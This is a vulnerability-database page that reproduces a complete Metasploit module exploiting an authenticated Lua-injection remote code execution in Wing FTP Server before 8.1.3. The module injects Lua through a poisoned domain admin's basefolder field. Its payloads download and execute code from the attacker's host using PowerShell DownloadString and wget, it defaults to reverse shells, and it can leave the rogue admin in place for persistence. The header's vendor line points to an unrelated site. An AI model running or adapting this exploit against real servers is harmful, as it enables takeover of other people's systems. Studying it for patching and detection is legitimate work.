Lucene search
K

📄 Wing FTP Server 8.1.2 Authenticated Remote Code Execution

🗓️ 18 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 15 Views

Wing FTP Server 8.1.2 allows authenticated admins to execute arbitrary Lua code via unsanitized domain basefolder in session data.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-44403
14 May 202606:58
githubexploit
ATTACKERKB
CVE-2026-44403
12 May 202620:43
attackerkb
Circl
CVE-2026-44403
14 May 202607:00
circl
CNNVD
Wing FTP Server 代码注入漏洞
12 May 202600:00
cnnvd
CVE
CVE-2026-44403
12 May 202620:43
cve
Cvelist
CVE-2026-44403 Wing FTP Server < 8.1.3 Authenticated Remote Code Execution via Session Serialization
12 May 202620:43
cvelist
Exploit DB
Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
29 May 202600:00
exploitdb
EUVD
EUVD-2026-29848
12 May 202621:31
euvd
NVD
CVE-2026-44403
12 May 202621:16
nvd
Packet Storm
📄 Wing FTP Server 8.1.3 Remote Code Execution
29 May 202600:00
packetstorm
Rows per page
==================================================================================================================================
    | # Title     : Wing FTP Server 8.1.2 - Authenticated Remote Code Execution                                                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://casdoor.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  Wing FTP Server versions prior to 8.1.3 allows authenticated administrators to execute arbitrary Lua code on the server.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Wing FTP Server 8.1.2 - Authenticated Remote Code Execution',
            'Description' => %q{
              A vulnerability in Wing FTP Server versions prior to 8.1.3 allows
              authenticated administrators to execute arbitrary Lua code on the
              server. The vulnerability exists in the session serialization mechanism
              where the 'mydirectory' (basefolder) field of a domain admin is not
              properly sanitized. When a poisoned value containing Lua code is
              injected, it gets executed when the session is loaded via `loadfile()`.
    
              This module exploits the vulnerability by creating a poisoned domain
              admin with a crafted basefolder containing Lua code. When the admin
              logs in, the payload is written to the session file and executed on
              subsequent requests.
    
              Successful exploitation grants code execution as the Wing FTP Server
              service account. The payload is persistent and re-executes every time
              the poisoned session is loaded.
    
              Tested on Wing FTP Server 8.1.2 running on Windows Server 2019.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-44403'],
              ['URL', 'https://www.wftpserver.com/']
            ],
            'DisclosureDate' => '2026-05-12',
            'License' => MSF_LICENSE,
            'Platform' => ['windows', 'linux'],
            'Arch' => [ARCH_X64, ARCH_X86, ARCH_CMD],
            'Targets' => [
              [
                'Windows (x64)',
                {
                  'Platform' => 'windows',
                  'Arch' => ARCH_X64,
                  'Type' => :windows,
                  'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Windows (x86)',
                {
                  'Platform' => 'windows',
                  'Arch' => ARCH_X86,
                  'Type' => :windows,
                  'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'windows',
                  'Arch' => ARCH_CMD,
                  'Type' => :windows_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
                }
              ],
              [
                'Linux (x64)',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_X64,
                  'Type' => :linux,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :linux_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => true,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base Wing FTP Admin path', '/']),
          OptString.new('ADMIN_USER', [true, 'Wing FTP Administrator username']),
          OptString.new('ADMIN_PASS', [true, 'Wing FTP Administrator password']),
          OptString.new('POISON_USER', [false, 'Username for poisoned domain admin', 'svc_backup']),
          OptString.new('POISON_PASS', [false, 'Password for poisoned domain admin', 'P@ssw0rd123!']),
          OptString.new('LUA_PAYLOAD', [false, 'Custom Lua payload (overrides default)']),
          OptBool.new('USE_SSL', [false, 'Use SSL for connection', false]),
          OptInt.new('TIMEOUT', [false, 'HTTP request timeout', 30])
        ])
      end
    
      def admin_login_url
        normalize_uri(target_uri.path, 'service_login.html')
      end
    
      def add_admin_url
        normalize_uri(target_uri.path, 'service_add_admin.html')
      end
    
      def modify_admin_url
        normalize_uri(target_uri.path, 'service_modify_admin.html')
      end
    
      def get_dir_list_url
        normalize_uri(target_uri.path, 'service_get_dir_list.html')
      end
    
      def login_page_url
        normalize_uri(target_uri.path, 'admin_login.html')
      end
    
      def login
        print_status("Authenticating as administrator: #{datastore['ADMIN_USER']}")
        
        data = {
          'username' => datastore['ADMIN_USER'],
          'password' => datastore['ADMIN_PASS']
        }
        
        headers = {
          'Referer' => "#{full_uri(login_page_url)}"
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => admin_login_url,
          'vars_post' => data,
          'headers' => headers,
          'keep_cookies' => true
        )
        
        if res
          if res.code == 200
            begin
              json = res.get_json_document
              if json['code'] == 0
                print_good("Authentication successful")
                return true
              elsif json['code'] == 1 || json['code'] == 2
                print_error("2FA required - module does not support TOTP")
                return false
              else
                print_error("Authentication failed: #{json}")
                return false
              end
            rescue JSON::ParserError
              if res.body && (res.body.include?('logged in ok') || res.body.include?('main.html'))
                print_good("Authentication successful (legacy endpoint)")
                return true
              end
            end
          end
        end
        
        print_error("Authentication failed")
        false
      end
    
      def generate_lua_payload
    
        if datastore['LUA_PAYLOAD'] && !datastore['LUA_PAYLOAD'].empty?
          return datastore['LUA_PAYLOAD']
        end
    
        case target['Platform']
        when 'windows'
          if target['Type'] == :windows_cmd
            cmd = payload.encoded
            return "os.execute('#{cmd.gsub("'", "\\\\'")}')"
          else
    
            ps_cmd = "IEX(New-Object Net.WebClient).DownloadString('http://#{datastore['LHOST']}:#{datastore['LPORT']}/payload');"
            return "os.execute('powershell -Command #{ps_cmd.gsub("'", "\\\\'")}')"
          end
        when 'linux', 'unix'
          if target['Type'] == :linux_cmd
            cmd = payload.encoded
            return "os.execute('#{cmd.gsub("'", "\\\\'")}')"
          else
            download_cmd = "wget -O /tmp/payload http://#{datastore['LHOST']}:#{datastore['LPORT']}/payload && chmod +x /tmp/payload && /tmp/payload"
            return "os.execute('#{download_cmd.gsub("'", "\\\\'")}')"
          end
        else
          if target['Platform'] == 'windows'
            return 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'
          else
            return 'os.execute("whoami > /tmp/wingftp_pwned.txt")'
          end
        end
      end
    
      def create_poisoned_basefolder(lua_payload)
        "/tmp/x]]#{lua_payload}--"
      end
    
      def create_poisoned_admin(poison_user, poison_pass, lua_payload)
        print_status("Creating poisoned domain admin: #{poison_user}")
        
        poisoned_basefolder = create_poisoned_basefolder(lua_payload)
        vprint_status("Poisoned basefolder: #{poisoned_basefolder}")
        
        admin_obj = {
          'username' => poison_user,
          'password' => poison_pass,
          'readonly' => false,
          'domainadmin' => 1,
          'domainlist' => '',
          'mydirectory' => poisoned_basefolder,
          'ipmasks' => [],
          'enable_two_factor' => false,
          'two_factor_code' => ''
        }
        
        admin_json = admin_obj.to_json
        
        headers = {
          'Referer' => "#{full_uri('/main.html')}"
        }
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => add_admin_url,
          'headers' => headers,
          'vars_form_data' => [
            { 'name' => 'admin', 'data' => admin_json, 'mime_type' => 'application/json' }
          ],
          'keep_cookies' => true
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['code'] == 0
              print_good("Poisoned admin created successfully")
              return true
            elsif json['code'] == -3
              print_status("Admin '#{poison_user}' already exists, attempting modification")
              return modify_poisoned_admin(poison_user, poison_pass, lua_payload)
            else
              print_error("Failed to create admin: #{json}")
              return false
            end
          rescue JSON::ParserError
            print_error("Unexpected response: #{res.body[0..200]}")
            return false
          end
        end
        
        false
      end
    
      def modify_poisoned_admin(poison_user, poison_pass, lua_payload)
        print_status("Modifying existing admin: #{poison_user}")
        
        poisoned_basefolder = create_poisoned_basefolder(lua_payload)
        
        admin_obj = {
          'username' => poison_user,
          'password' => poison_pass,
          'readonly' => false,
          'domainadmin' => 1,
          'domainlist' => '',
          'mydirectory' => poisoned_basefolder,
          'ipmasks' => [],
          'enable_two_factor' => false,
          'two_factor_code' => ''
        }
        
        admin_json = admin_obj.to_json
        
        headers = {
          'Referer' => "#{full_uri('/main.html')}"
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => modify_admin_url,
          'headers' => headers,
          'vars_form_data' => [
            { 'name' => 'admin', 'data' => admin_json, 'mime_type' => 'application/json' },
            { 'name' => 'oldname', 'data' => poison_user }
          ],
          'keep_cookies' => true
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['code'] == 0
              print_good("Admin '#{poison_user}' modified successfully")
              return true
            else
              print_error("Failed to modify admin: #{json}")
              return false
            end
          rescue JSON::ParserError
            print_error("Unexpected response: #{res.body[0..200]}")
            return false
          end
        end
        
        false
      end
    
      def trigger_payload(poison_user, poison_pass)
        print_status("Triggering payload by logging in as '#{poison_user}'...")
    
        trigger_session = Rex::Proto::Http::Client.new(
          datastore['RHOST'],
          datastore['RPORT'],
          {},
          datastore['SSL'],
          datastore['SSLVersion']
        )
    
        data = "username=#{Rex::Text.uri_encode(poison_user)}&password=#{Rex::Text.uri_encode(poison_pass)}"
        
        headers = {
          'Referer' => full_uri(login_page_url),
          'Content-Type' => 'application/x-www-form-urlencoded'
        }
        
        res1 = trigger_session.send_recv(
          data,
          headers,
          'POST',
          admin_login_url
        )
        
        if res1 && (res1.code == 200 || res1.code == 302)
          print_good("Login as poisoned admin successful")
        else
          print_warning("Login may have failed, but continuing...")
        end
    
        trigger_data = "dir="
        
        headers['Referer'] = full_uri('/main.html')
        
        res2 = trigger_session.send_recv(
          trigger_data,
          headers,
          'POST',
          get_dir_list_url
        )
        
        if res2
          print_good("Trigger request sent - payload should have executed on the server")
          return true
        end
        
        false
      end
    
      def cleanup_poisoned_admin(poison_user)
        print_status("Cleaning up poisoned admin: #{poison_user}")
    
        delete_url = normalize_uri(target_uri.path, 'service_del_admin.html')
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => delete_url,
          'vars_post' => { 'username' => poison_user },
          'keep_cookies' => true
        )
        
        if res && res.code == 200
          print_good("Poisoned admin cleaned up")
        else
          print_warning("Could not clean up poisoned admin (may need manual removal)")
        end
      end
    
      def check
        print_status("Checking target...")
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => login_page_url
        )
        
        if res && res.code == 200
          if res.body && res.body.include?('Wing FTP Server')
            print_good("Wing FTP Server detected")
            version_match = res.body.match(/Wing FTP Server v?([0-9.]+)/i)
            if version_match
              version = version_match[1]
              print_status("Version: #{version}")
              
              if version < '8.1.3'
                print_good("Version appears vulnerable (< 8.1.3)")
                return CheckCode::Appears
              else
                print_error("Version appears patched (>= 8.1.3)")
                return CheckCode::Safe
              end
            end
            
            return CheckCode::Detected
          end
        end
        
        CheckCode::Unknown
      end
    
      def exploit
        print_status("CVE-2026-44403 - Wing FTP Server Authenticated RCE")
        print_status("Target: #{peer}")
    
        unless login
          fail_with(Failure::NoAccess, "Authentication failed. Check ADMIN_USER and ADMIN_PASS")
        end
    
        lua_payload = generate_lua_payload
        print_status("Lua payload: #{lua_payload}")
    
        poison_user = datastore['POISON_USER']
        poison_pass = datastore['POISON_PASS']
        
        unless create_poisoned_admin(poison_user, poison_pass, lua_payload)
          fail_with(Failure::UnexpectedReply, "Failed to create poisoned admin")
        end
    
        if trigger_payload(poison_user, poison_pass)
          print_good("Payload triggered successfully")
          (datastore['WfsDelay'] * 2).times do
            break if session_created?
            Rex.sleep(1)
          end
        else
          print_warning("Payload may not have executed")
        end
        if datastore['Cleanup']
          cleanup_poisoned_admin(poison_user)
        else
          print_status("Poisoned admin left for persistence: #{poison_user}:#{poison_pass}")
        end
        
        print_good("Exploit completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.2
CVSS 48.6
EPSS0.02056
SSVC
15